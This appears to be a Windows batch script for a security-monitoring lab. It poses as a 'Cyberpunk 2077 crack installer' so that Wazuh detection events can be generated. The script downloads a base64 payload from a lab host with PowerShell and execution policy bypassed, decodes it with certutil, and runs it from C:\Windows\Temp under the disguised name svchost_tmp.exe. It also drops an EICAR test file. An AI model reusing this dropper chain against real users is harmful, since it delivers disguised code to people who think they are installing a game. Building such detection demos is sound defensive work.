@echo off
:: ============================================================
::  Cyberpunk2077_Setup.bat  --  "game crack installer" (SOC demo)
:: ============================================================
::  Story: a bad employee downloads a cracked game at work and
::  runs this "installer". It demonstrates a realistic dropper:
::
::  Technique: Living-off-the-land. Fetches a BASE64 blob (looks
::  like plain text -> AV doesn't flag it in transit/write), then
::  decodes it to a valid PE using Windows' own "certutil" LoLBin,
::  and executes it -- mirroring real in-the-wild game-crack droppers.
::
::  Steps (each independent so one step doesn't kill the demo):
::    A) certutil -decode b64 -> C:\Windows\Temp\svchost_tmp.exe [VALID PE]
::    B) run svchost_tmp.exe  -> real process event (Sysmon 1 / 4688)
::    C) write EICAR file     -> flagged by AV if protection is ON (1116)
::  Result:
::     - Defender ON : AV events (1116/1117) AND process events
::     - Defender OFF: still the process event + network event
::  SAFE: only EICAR + a benign exe that writes a marker file.
:: ============================================================
title Cyberpunk 2077 Crack Installer
color 0B

:: Change this to match your host (10.0.2.2 if the VM stays NAT).
set "BASE=http://192.168.100.128:8080"
set "TMPDIR=%TEMP%\crack_stage"
set "PAYLOAD_B64=%BASE%/payloads/benign_payload.b64"
set "EICAR_URL=%BASE%/payloads/eicar.com"

echo.
echo  [*] Cyberpunk 2077 Crack Installer v2.21...
mkdir "%TMPDIR%" 2>nul
ping -n 2 127.0.0.1 > nul

echo  [*] Fetching encoded crack data...
powershell -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri '%PAYLOAD_B64%' -OutFile '%TMPDIR%\payload.b64'"
if not exist "%TMPDIR%\payload.b64" (
    echo  [X] Could not fetch crack data. Check BASE URL / server / network.
    pause
    exit /b 1
)

echo  [*] Extracting crack with certutil ...
certutil -decode "%TMPDIR%\payload.b64" "%TMPDIR%\svchost_tmp.exe" >nul 2>&1
if not exist "%TMPDIR%\svchost_tmp.exe" (
    echo  [X] Extraction failed. Was the payload.b64 complete?
    pause
    exit /b 1
)

echo  [*] Patching game files in C:\Windows\Temp\...
copy /y "%TMPDIR%\svchost_tmp.exe" "C:\Windows\Temp\svchost_tmp.exe" >nul

echo  [*] Launching patched exe...
start "" "C:\Windows\Temp\svchost_tmp.exe"

:: --- Optional AV-trigger: drop the EICAR test file. Non-fatal. ---
echo  [*] Applying license key (eicar.com)...
powershell -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri '%EICAR_URL%' -OutFile 'C:\Windows\Temp\eicar_check.com'"
if exist "C:\Windows\Temp\eicar_check.com" (
    echo      [+] License key applied (Defender may have flagged the write)
) else (
    echo      [i] License key write blocked by AV -- expected, that IS the detection.
)

echo.
echo  [*] Crack done. Expected SOC events:
echo      - svchost_tmp.exe launched  -> process event in Wazuh
echo      - marker file: C:\Windows\Temp\soc_demo_marker.txt
echo      - AV event if protection is on
echo  [+] Check the Wazuh dashboard.
echo.
pause